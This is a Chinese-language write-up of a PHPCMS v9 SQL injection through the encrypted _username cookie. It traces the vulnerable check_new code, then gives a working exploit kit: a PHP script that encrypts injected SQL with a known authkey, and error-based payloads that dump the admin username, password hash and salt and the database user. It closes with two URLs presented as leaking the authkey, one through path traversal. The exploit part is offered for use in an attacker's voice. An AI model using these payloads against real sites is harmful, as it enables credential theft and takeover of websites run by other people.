Phpcmsv9 注入0day分析

0x01 注入分析

http://0kee.360.cn/skywolf_demo/

根据视频我得知注入来自于phpcms/modules/message/classes/message_tag.class.php中check_new函数

	public function check_new(){
	$where = array('send_to_id'=>$this->_username,'folder'=>'inbox','status'=>'1');
	$new_count = $this->message_db->count($where);
 		//检查是否有未查看的新系统短信
	//检查该会员所在会员组 的系统公告,再查询message_data表. 是否有记录. 无则加入 未读NUM. 
	$group_num = 0;
	$group_where = array('typeid'=>'1','groupid'=>$this->_groupid,'status'=>'1');
	$group_arr = $this->message_group_db->select($group_where);
 		foreach ($group_arr as $groupid=>$group){
 			$group_message_id = $group['id'];
 			$where = array('group_message_id'=>$group_message_id,'userid'=>$this->_userid);
 			$result = $this->message_data_db->select($where);
 			if(!$result) $group_num++;
 		}
  		//生成一个新数组,并返回此数组
 		$new_arr = array();
 		$new_arr['new_count'] = $new_count;
 		$new_arr['new_group_count'] = $group_num;
	return $new_arr;
 	}

根据视频可以看出

$new_count = $this->message_db->count($where);

出现了注入 $where中唯一可控的变量的就是$this->_username

$where = array('send_to_id'=>$this->_username,'folder'=>'inbox','status'=>'1');

我们往上看得知$this->_username是从get_cookie函数中取_username得到的

$this->_username = param::get_cookie('_username');

跟进get_cookie函数

	public static function get_cookie($var, $default = '') {
	$var = pc_base::load_config('system','cookie_pre').$var;
	$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
	if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
		$value = intval($value);
	} elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
		$value = safe_replace($value);
	}

return $value;
可以看到Cookie的参数名经过sys_auth函数加密了 所以这个注入其实是和

http://www.wooyun.org/bugs/wooyun-2015-0105242

等AuthKey泄漏造成的注射差不多的

0x02 漏洞利用

这个漏洞鸡肋的地方就在于必须事先知道authkey 但是我相信各位都有各自得到authkey的方法:)

保存以下php文件在web服务器

<?php
function sys_auth($string, $operation = 'ENCODE', $key , $expiry = 0) {
	$ckey_length = 4;
	$key = md5($key != '' ? $key : '');
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result,26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
	}
}

$sql = $_GET['sql'];
$key = $_GET['key'];
echo sys_auth($sql,'ENCODE',$key);
?>

爆管理员帐号密码构造(自行修改key)

http://127.0.0.1/phpcms/hack.php?sql=test123' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&key=w52T7B1mmBvHzyrVM0p1

访问得到authkey加密后的注入语句 复制后修改cookie中的username 效果如图
1
爆当前数据库用户

http://127.0.0.1/phpcms/hack.php?sql=a' and EXP(~(SELECT*FROM(SELECT concat(user(),0x3a,database()))a)) %23&key=w52T7B1mmBvHzyrVM0p1

2
其实知道AuthKey的话 很多地方都可以注噢~~ :) 找到女朋友就放其他authkey的注入:(

@Rickgray Blog的错误注入快加上EXP!

偷偷放2个可以一键爆Authkey的payload:( 如果还想要 推荐多看phpcms用户中心

/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9+DjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQ
/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

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